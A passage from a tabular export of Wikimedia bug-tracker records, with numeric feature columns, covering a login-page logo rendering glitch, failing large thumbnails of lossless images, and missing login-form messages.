**Severity**: enhancement",Medium,50.0,1367985240,1368391390.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-6cknf3sey5xeqlcnujli,task_description,resolved,True,c2,1,True,False,True,-16,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,2.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.158730158730159,0.7142857142857143,"login.wikimedia.org is using URL for its logo currently, but this logo is weird. There's a green line connecting the two green pieces in the logo. Surely there's a 135px version on Commons somewhere we can use instead.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
211579,Update login.wikimedia.org logo to avoid rsvg issues,Related URL: https://gerrit.wikimedia.org/r/63468 (Gerrit Change I976a779791c6d2a0c6ce76a1e90987b8c2fed1a1),,,1368454547,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I976a779791c6d2a0c6ce76a1e90987b8c2fed1a1)
211575,Update login.wikimedia.org logo to avoid rsvg issues,https://gerrit.wikimedia.org/r/63384 (Gerrit Change I43ffba30080589705e231c385911460049e0ecb5) | change APPROVED and MERGED [by jenkins-bot],,,1368390105,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I43ffba30080589705e231c385911460049e0ecb5) | change APPROVED and MERGED [by jenkins-bot]
211571,Update login.wikimedia.org logo to avoid rsvg issues,"The other wikis that use this logo — fdcwiki, iegcomwiki, ombudsmenwiki and transitionteamwiki — are being dealt with in bug 48379.

Since I need to create all those logos first, it'll take at least a couple of hours before I submit a patch for them.",,,1368383411,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,8.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,8.0,15.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,3.980769230769231,0.8846153846153846,"The other wikis that use this logo — fdcwiki, iegcomwiki, ombudsmenwiki and transitionteamwiki — are being dealt with in bug 48379.

Since I need to create all those logos first, it'll take at least a couple of hours before I submit a patch for them."
211566,Update login.wikimedia.org logo to avoid rsvg issues,Related URL: https://gerrit.wikimedia.org/r/63384 (Gerrit Change I43ffba30080589705e231c385911460049e0ecb5),,,1368382994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I43ffba30080589705e231c385911460049e0ecb5)
211562,Update login.wikimedia.org logo to avoid rsvg issues,https://gerrit.wikimedia.org/r/62817 (Gerrit Change I0493d70f4e1fe16ef204e5e25a2cc56369e2905f) | change ABANDONED [by Odder],,,1368379773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,46.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,46.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.923076923076923,1.0,GERRIT_URL (Gerrit Change I0493d70f4e1fe16ef204e5e25a2cc56369e2905f) | change ABANDONED [by Odder]
211558,Update login.wikimedia.org logo to avoid rsvg issues,Related URL: https://gerrit.wikimedia.org/r/62817 (Gerrit Change I0493d70f4e1fe16ef204e5e25a2cc56369e2905f),,,1368025406,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I0493d70f4e1fe16ef204e5e25a2cc56369e2905f)
211555,Update login.wikimedia.org logo to avoid rsvg issues,"Shouldn't be too hard to create a 135x155px PNG version, upload it to Commons, protect against upload&move, and change it in InitialiseSettings.php...

I'll try to do that in a couple of minutes.",,,1368022559,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,18.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,8.0,18.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.125,0.825,"Shouldn't be too hard to create a 135x155px PNG version, upload it to Commons, protect against upload&move, and change it in InitialiseSettings.php...

I'll try to do that in a couple of minutes."
211548,Update login.wikimedia.org logo to avoid rsvg issues,Note this logo is used by at least 1 other wiki...,,,1368021188,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.3333333333333335,1.0,Note this logo is used by at least 1 other wiki...
211541,Update login.wikimedia.org logo to avoid rsvg issues,Looks like rsvg's rounding issues are causing problems with the masking. The svg itself is fine at that size when accurately rendered.,,,1367985842,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,4.52,0.96,Looks like rsvg's rounding issues are causing problems with the masking. The svg itself is fine at that size when accurately rendered.
50003,"Large thumbnails of ""lossless"" files return error","Possibly all files affected by the commit in bug 47363 return errors for large thumbnails. (Bug 47363 changed $wgMaxImageArea and $wgMaxAnimatedGifArea to 50 MP)

Example files:
https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Mejeri1.gif/576px-Mejeri1.gif
works for me,
https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Mejeri1.gif/577px-Mejeri1.gif
and above does not anymore.

https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png/276px-File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
OK
https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png/476px-File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
Not OK

(Could not find an appropriate tiff file by now)

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1367508540,1374777991.0,PHID-USER-yhujnd4weqzxkjnpve64,False,,False,PHID-TASK-t7uky7ylyhoato3n62xw,task_description,resolved,True,c2,1,False,False,True,-17,True,1.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,7.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.688888888888889,0.6222222222222222,"Possibly all files affected by the commit in bug 47363 return errors for large thumbnails. (Bug 47363 changed $wgMaxImageArea and $wgMaxAnimatedGifArea to 50 MP)

Example files:
URL
works for me,
URL
and above does not anymore.

URL
OK
URL
Not OK

(Could not find an appropriate tiff file by now)

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
222466,"Large thumbnails of ""lossless"" files return error",Bug 52043,,,1374778125,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Bug 52043
222457,"Large thumbnails of ""lossless"" files return error","(In reply to comment #0)

> https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S.
> _Grant_from_West_Point_to_Appomattox_partially_restored.png/276px-File-
> Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
> OK
> https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S.
> _Grant_from_West_Point_to_Appomattox_partially_restored.png/476px-File-
> Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
> Not OK
> 
> (Could not find an appropriate tiff file by now)

Those two files (the pngs) look good to me now, after we've deployed VipsScaler on all wikis.

The large gif one (https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Mejeri1.gif/577px-Mejeri1.gif) still fails, though.

Partially fixed!

In fact, I'll just mark this bug fixed and open a new one for using VipsScaler for gifs also (right now VipsScaler is only used on large pngs).",,,1374777991,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-5,True,0.5,0.0,0.0,1.0,0.0,3.5,0.0,0.0,1.0,0.0,1.5,1.5,0.0,2.0,0.0,2.0,0.0,8.5,6.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,13.5,0.0,1.0,4.5,0.0,0.0,1.0,0.5,2.5,0.0,1.0,0.0,2.0,6.5,7.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,3.2986274509803923,0.6941176470588235,"(In reply to comment #0)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Those two files (the pngs) look good to me now, after we've deployed VipsScaler on all wikis.

The large gif one (URL still fails, though.

Partially fixed!

In fact, I'll just mark this bug fixed and open a new one for using VipsScaler for gifs also (right now VipsScaler is only used on large pngs)."
222449,"Large thumbnails of ""lossless"" files return error","(In reply to comment #2)
> I wonder if there's any way to reduce the used memory/cpu here, as the
> provided
> example that fails rendering isn't ""too"" big. Hence existing folks to run
> into
> this more often (visible), but don't know how many of our images are
> lossless.

Note the lossless/lossy thing isnt really the main reason, it more has to do with how image magick doesnt decompress the whole image all at once for nonprogressive jpeg, but does for other formats.

Its been a long term issue that large progressive jpegs don't thumbnail either.

The fix for this bug is bug 28135. Perhaps this should be duped to one of the vips related bugs (unlesd there is some in between step we could take im not aware of)",,,1367684179,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-17,True,1.5,0.0,0.0,1.0,1.5,6.5,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.0,1.5,0.0,7.0,9.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.5,1.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,13.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.5,1.5,0.5,6.5,0.0,0.0,0.0,0.5,4.5,0.0,2.0,0.0,3.0,9.5,3.0,0.0,0.0,0.0,3.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,3.6246347165400348,0.7871127995324372,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Note the lossless/lossy thing isnt really the main reason, it more has to do with how image magick doesnt decompress the whole image all at once for nonprogressive jpeg, but does for other formats.

Its been a long term issue that large progressive jpegs don't thumbnail either.

The fix for this bug is bug 28135. Perhaps this should be duped to one of the vips related bugs (unlesd there is some in between step we could take im not aware of)"
222438,"Large thumbnails of ""lossless"" files return error","I wonder if there's any way to reduce the used memory/cpu here, as the provided example that fails rendering isn't ""too"" big. Hence existing folks to run into this more often (visible), but don't know how many of our images are lossless.",,,1367573567,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,True,,,-17,True,4.0,0.0,0.0,0.0,4.0,7.0,2.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,4.0,0.0,15.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,4.0,4.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,3.5636363636363635,0.8909090909090909,"I wonder if there's any way to reduce the used memory/cpu here, as the provided example that fails rendering isn't ""too"" big. Hence existing folks to run into this more often (visible), but don't know how many of our images are lossless."
222430,"Large thumbnails of ""lossless"" files return error","possibly running into the actual resource limits. (if the program that scales images uses too much memory or cpu time, etc it gets killed).",,,1367533166,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-17,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,4.0,0.9310344827586207,"possibly running into the actual resource limits. (if the program that scales images uses too much memory or cpu time, etc it gets killed)."
49883,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","The new login form does not handle the messages 'loginstart', 'loginend' and 'login-https' (by default empty).

The community use them to customize the login form.

Maybe use new message keys to enforce creation of new text :-)

Otherwise I predict that some Wikipedians will misuse the standard messages for their ideas...

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56455",Medium,50.0,1367334000,1537178418.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-jnta3z3spxto3vbxdngm,False,PHID-TASK-avx5stgzcjhbzmeawj7d,task_description,resolved,True,c2,1,False,False,False,-18,True,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,19.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,6.0,1.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.75,0.625,"The new login form does not handle the messages 'loginstart', 'loginend' and 'login-https' (by default empty).

The community use them to customize the login form.

Maybe use new message keys to enforce creation of new text :-)

Otherwise I predict that some Wikipedians will misuse the standard messages for their ideas...

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL"
1142279,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",There's now MediaWiki:Loginprompt. I'm boldly closing this.,,,1537178418,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,263,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.076923076923077,0.9230769230769231,There's now MediaWiki:Loginprompt. I'm boldly closing this.
215284,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Removing target milestone that was in the past.

If you want this in a specific release, have a good reason AND you are willing to find resources to fix this bug, feel free to change it to something appropriate.",,,1403380691,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,42,True,0.0,2.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,7.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.9545454545454546,0.7954545454545454,"Removing target milestone that was in the past.

If you want this in a specific release, have a good reason AND you are willing to find resources to fix this bug, feel free to change it to something appropriate."
215278,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Oh, yes, there is an own template. Sorry.",,,1396098535,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,30,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8333333333333334,"Oh, yes, there is an own template. Sorry."
215272,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to Umherirrender from comment #13)
> Gerrit change #97185 already merged to master, marking bug for backport

That's signupstart and signupend; the bug is about login*.",,,1396060272,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,30,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,"(In reply to Umherirrender from comment #13)
QUOTE

That's signupstart and signupend; the bug is about login*."
